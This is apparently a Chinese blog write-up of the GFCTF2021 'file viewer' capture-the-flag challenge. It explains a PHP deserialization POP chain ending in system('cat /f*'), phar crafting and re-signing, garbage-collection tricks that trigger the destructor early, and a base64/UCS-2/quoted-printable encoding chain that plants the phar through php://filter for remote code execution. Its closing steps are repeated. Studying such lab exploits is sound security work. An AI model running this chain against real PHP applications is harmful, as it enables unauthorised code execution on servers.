[GFCTF2021]文件查看器复现

考点:

1.php反序列化

2.可调用对象数组对方法的调用

3.编码转换的利用

4.php伪协议过滤器的利用

5.垃圾回收GC机制的利用

开局登录页面,输入admin,admin之后进入文件查看页面,并且扫描后发现有www.zip源码泄露

稍微探究一下,发现这个项目的设计模式很有意思

index.php

<?php
    // `__autoload`在PHP 7版本之后已经被`spl_autoload_register`代替了
    function __autoload($className) {
        include("class/".$className.".class.php");
    }

    if(!isset($_GET['c'])){
        header("location:./?c=User&m=login");
    }else{
        $c=$_GET['c'];
        $class=new $c();
        if(isset($_GET['m'])){
            $m=$_GET['m'];
            $class->$m();
        }
    }
//感觉有点像springboot路由的那种设计思想,用到哪个类就自动导入哪个类,然后执行类中的对应功能
//这也决定了之后为什么能在Files里反序列化其他类

主要看3个php,Files,Myerror,User

只有User类有析构函数作为入口点,于是着手构造POP链子

这里链子的逻辑比较简单,就不赘述,下面主要讲一点涉及到的新特性

POP链:
class User{

    public $username;
    public $password;

     public function check(){
        if($this->username==="admin" && $this->password==="admin"){
            return true;
        }else{        
            echo "{$this->username}的密码不正确或不存在该用户";
        }
    }
    public function __destruct(){
        ($this->password)();
    }

    public function __call($name,$arg){ 
        ($name)();
    }

}

class Myerror{
    public $message;
      public $test;
    public function __tostring(){            
        $test=$this->message->{$this->test};
        return "test";
    }
}

 class Files{
    public $filename;
    public function __get($key){
        ($key)($this->arg);
    }
}
$User_1=new User();
$User_2=new User();
$User_1->password=[$User_2,'check'];
$Myerror_1=$User_2->username=new Myerror();
$Files_1=$Myerror_1->message=new Files();
$Myerror_1->test="system";
$Files_1->arg="cat /f*";

//生成phar

$phar = new Phar('test.phar'); //必须是phar为后缀
$phar->startBuffering(); //开始写入
$phar->setStub('GIF89A'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'vfree');  //随便写
$object = array($User_1,0);
$phar->setMetadata($object);  //将meta-data写入缓存中
$phar->stopBuffering(); //停止写入,并且创建输出一个phar文件

($this->password)();这个代码决定了我们只能使用没有this前缀的方法,比如phpinfo,而不能使用类中的方法(如check),原因是如果我们给password赋值为’check’,那么最终执行的就是check()而不是this->check()

所以这里面涉及到第2个考点:可调用对象数组对方法的调用

先看一个例子:

<?php
class aA{
    public function check(){
        echo "check"."\n\r";
    }

}
$password=[new aA(),'check'];
//$password=['aA','check'];
($password)();

执行这段代码后会调用aA中的方法check,打印出’check’,这里涉及到PHP7引入的一个新特性 Uniform Variable Syntax,它扩展了可调用数组的功能,增加了其在变量上调用函数的能力,使得可以在一个变量(或表达式)后面加上括号直接调用函数。

也可以说是call_user_func($password)的语法糖

还有一个之前没见过的点,

$test=$this->message->{$this->test};

这里涉及到的一个点叫做动态属性,其实含义上就是 t h i s − > m e s s a g e − > ( this->message->( this>message>(this->test),只不过php语法不允许这么用括号罢了

找上传点

代码中没有明显unserilizer,但可以写文件(虽然无法控制内容,这里先按下不表),这时候应该想到利用phar打反序列化

但是发现有过滤检测,无法使用phar://来反序列化

但我们可以观察发现,他是先执行file_get然后再检测,那么我们有没有办法用phar://反序列化后立即执行User的析构函数,这样我们反序列化完你爱怎么过滤就怎么过滤,跟我们没有关系

这时候要祭出我们的GC垃圾回收机制了

PHP的垃圾回收机制主要是为了解决内存泄漏的问题。

在PHP中,内存管理主要通过引用计数实现。每个PHP变量都有一个引用计数,当引用计数减少到0时,PHP就知道这个变量不再被使用,于是释放它所占用的内存。

关于引用计数,可以看PHP官方手册,解释的很清楚

垃圾回收机制

当运行垃圾回收器时,PHP会检查所有已经unset但引用计数仍大于0的变量,看它们是否真的无法访问)。如果是,那么PHP会删除这些变量并回收它们占用的内存。

对于这道题来说,我们虽然不能用unset来手动删除User的引用计数,但是我们可以通过另一种方法来使使PHP认为User类对象是一个没有被引用的垃圾,这样就能提前触发destruct

结合一个简单的例子加强理解

<?php
class User{
    public function __destruct()
    {
        echo "执行了析构函数"."\n\r";
    }
}
//echo serialize(array(new User(),1));
$str='a:2:{i:0;O:4:"User":0:{}i:1;s:1:"1";}';

$re=unserialize($str);
echo "程序已结束,准备销毁所有对象";
?>

正常情况下,显示

我们更改一下这个序列化字符串,

$str='a:2:{i:0;O:4:"User":0:{}i:0;s:1:"1";}';
//把第二个元素1的索引改为0

可以发现User对象的析构函数在程序结束之前就执行了

这是因为,PHP在反序列化这个数组时,首先构建第一个元素User对象,此时索引[0]指向了这个User,引用计数为1,之后在我们的手动改造下索引[0]又指向了第二个元素1,之前创建的User对象失去了唯一的引用,触发了GC机制,于是PHP垃圾回收器提前删除了这个对象,所以也就提前执行了析构函数

还有一种情况

unserialize($str);

如果是直接反序列化而不给赋值的话,也会提前执行析构函数

我们要用这个机制来绕过filter检测

Phar修复

把生成的phar丢进010或者Winhex,手动修改第二个元素索引为0,用脚本重新签一下名

from hashlib import sha1
f = open('test.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar1.phar', 'wb').write(newf) # 写入新文件

PHP官方对于签名结构的讲解,一共28个字节,比较简单

PHP: Phar Signature format - Manual

上传Phar

关键是这两个函数:read,getFile

public function read(){
            include("view/file.html");
            if(isset($_POST['file'])){
                $this->filename=$_POST['file'];
            }else{
                die("请输入文件名");
            }
            $contents=$this->getFile();
            echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
        }
        
        public function filter(){
            if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
	echo "这合理吗";
                throw new Error("这不合理");
            }
        }

        public function getFile(){
            $contents=file_get_contents($this->filename);
            $this->filter();
            if(isset($_POST['write'])){
                file_put_contents($this->filename,$contents);
            }
            if(!empty($contents)){
                return $contents;
            }else{
                die("该文件不存在或者内容为空");
            } 
        }

虽然表面上不能控制写的内容,但是通过伪协议和过滤器是可以改变一些文件内容的

现在我们万事俱备,只欠如何上传phar到靶机中,这里用到报错日志error.txt

直接复制二进制文件肯定是不现实的,我们这里用base64编码试试

勾选重写,让报错信息带着编码过的信息一起写进去

再用php://filter/read=convert.base64-decode/resource=log/error.txt解码报错,这是因为解码的是整个error.txt,其中包括了其他非编码信息,而Base64会将所有数字,字母/+=都认为是需要编码的

所以我们需要将除了我们自己的payload之外的全部转换为乱码,这样Base64就会忽略那些乱码,只解码我们自己的payload

UCS-2编码

UCS-2 编码使用固定2个字节,所以在ASCII字符中,在每个字符前面会填充一个 00字节(大端序),但将报错信息写入error时并不是二进制,所以我们不能直接传递00字节

lanb0
=>
\x00l\x00a\x00n\x00b\x000
Quoted-Printable编码

“Quoted-Printable"编码的基本原则是:安全的ASCII字符(如字母、数字、标点符号等)保持不变,空格也保持不变(但行尾的空格必须编码),其他所有字符(如非ASCII字符或控制字符)则以”="后跟两个十六进制数字的形式编码

lanb0\n
=>
lanb0=0A

可以通过这个编码来把00字节当做ASCII字符传进error.txt

综上所述,我们的思路就是:把phar的二进制数据先用base64编码,然后用UCS-2编码(相当于给我们自己的payload打上’标记’,这个标记就是’00’),最后用Quoted-Printable来解决00字节的无法传递问题

一键编码脚本

<?php
$a=file_get_contents('phar1.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('2.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('2.txt',preg_replace('/=\r\n/','',file_get_contents('2.txt')).'=00=3D');//解决软换行导致的编码结构破坏

在 Quoted-Printable 编码中,为了防止编码后的字符串过长,通常会在每76个字符后插入一个软换行,也就是 = 符号加上一个换行符。

最终利用

复制编码后的内容,传到error里

接下来的步骤需要按顺序来,并且需要勾选重写选项

解码quoted-printable

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

解码UCS-2

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

解码base64

php://filter/read=convert.base64-decode/resource=log/error.txt

到这一步时,最后用phar://log/error.txt来反序列化rce

接下来的步骤需要按顺序来,并且需要勾选重写选项

解码quoted-printable

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

解码UCS-2

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

解码base64

php://filter/read=convert.base64-decode/resource=log/error.txt

最后用phar://log/error.txt来反序列化rce

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值